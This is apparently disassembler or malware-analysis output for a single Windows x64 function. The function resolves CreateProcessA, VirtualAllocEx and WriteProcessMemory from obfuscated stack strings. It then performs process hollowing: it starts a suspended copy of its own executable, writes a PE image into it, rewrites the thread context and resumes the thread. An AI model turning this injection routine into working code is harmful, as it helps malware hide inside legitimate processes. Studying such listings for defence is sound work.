Function at 0x2b7951690
Capabilities:
Resume thread

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x508
xor eax, eax
pxor xmm0, xmm0
lea r12, [rsp + 0x90]
mov rbp, rcx
mov ecx, 0xd
movaps xmmword [rsp + 0x70], xmm0
mov rdi, r12
lea r14, [rsp + 0x70]
lea rsi, [rsp + 0x100]
mov qword [rsp + 0x80], 0
rep stosq qword [rdi], rax
mov eax, dword [rbp + 0x3c]
mov rcx, rsi
mov rdi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [rsp + 0x108], 0x6c6c642e
mov dword [rsp + 0x58], eax
mov rax, qword [str.kernel32ntdll.dlCreatePr]
mov byte [rsp + 0x10c], 0
mov qword [rsp + 0x100], rax
call rdi
mov r9d, 0x6c
mov rcx, rsi
mov word [rsp + 0x108], r9w
mov rbx, rax
mov rax, qword [0x2b7a7c018]
mov qword [rsp + 0x100], rax
call rdi
mov rdi, rax
test rbx, rbx
je 0x2b79518b2
test rax, rax
je 0x2b79518b2
mov rax, qword [0x2b7a7c020]
mov r13, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rsi
mov rcx, rbx
mov dword [rsp + 0x108], 0x7365636f
mov qword [rsp + 0x100], rax
mov eax, 0x4173
mov word [rsp + 0x10c], ax
mov byte [rsp + 0x10e], 0
call r13
movdqa xmm0, xmmword [str.GetModuleFileNamVirtualA]
mov edx, 0x4165
mov rcx, rbx
mov word [rsp + 0x110], dx
mov r15, rax
mov rdx, rsi
movaps xmmword [rsp + 0x100], xmm0
mov byte [rsp + 0x112], 0
call r13
mov ecx, 0x7845
mov rdx, rsi
mov dword [rsp + 0x108], 0x636f6c6c
mov qword [rsp + 0x60], rax
mov rax, qword [0x2b7a7c040]
mov word [rsp + 0x10c], cx
mov rcx, rbx
mov qword [rsp + 0x100], rax
mov byte [rsp + 0x10e], 0
call r13
mov r8d, 0x7972
mov rdx, rsi
mov rcx, rbx
movdqa xmm0, xmmword [str.WriteProcessMemo]
mov qword [rsp + 0x68], rax
mov word [rsp + 0x110], r8w
mov byte [rsp + 0x112], 0
movaps xmmword [rsp + 0x100], xmm0
call r13
mov r13, rax
test r15, r15
je 0x2b79518a0
cmp qword [rsp + 0x60], 0
je 0x2b79518a0
cmp qword [rsp + 0x68], 0
je 0x2b79518a0
test rax, rax
je 0x2b79518a0
xor ecx, ecx
mov r8d, 0x104
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x48], r14
mov rcx, rsi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
call r15
test eax, eax
jne 0x2b79518c6
nop dword [rax + rax]
mov rcx, rbx
mov rbx, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rbx
mov rcx, rdi
call rbx
nop
add rsp, 0x508
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor ecx, ecx
mov edx, 8
mov r9d, 4
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [rsp + 0x78]
mov dword [rax + 0x30], 0x10000b
mov r12, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x2b79518a0
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x70]
mov r9d, 0x3000
xor r14d, r14d
lea r15, [rbp + 0x108]
lea rsi, [rax + rbp]
mov rax, qword [rsp + 0x68]
mov r8d, dword [rsi + 0x50]
mov rdx, qword [rsi + 0x30]
mov dword [rsp + 0x20], 0x40
call rax
mov r9d, dword [rsi + 0x54]
mov rcx, qword [rsp + 0x70]
mov r8, rbp
mov qword [rsp + 0x58], rax
mov rdx, rax
mov qword [rsp + 0x20], 0
call r13
lea rax, [rsi + 0x30]
cmp word [rsi + 6], 0
mov qword [rsp + 0x60], rax
je 0x2b79519cc
movsxd rax, dword [rbp + 0x3c]
lea rdx, [r14 + r14*4]
add r14, 1
add rax, r15
lea rax, [rax + rdx*8]
mov ecx, dword [rax + 0x14]
mov r9d, dword [rax + 0x10]
mov edx, dword [rax + 0xc]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], 0
lea r8, [rbp + rcx]
mov rcx, qword [rsp + 0x70]
add rdx, rax
call r13
mov rax, qword [r12 + 0x88]
mov r8, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x70]
mov r9d, 8
lea rdx, [rax + 0x10]
call r13
movzx eax, word [rsi + 6]
cmp r14, rax
jb 0x2b7951960
mov eax, dword [rsi + 0x28]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x78]
add rdx, rax
mov qword [r12 + 0x80], rdx
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x2b79518a0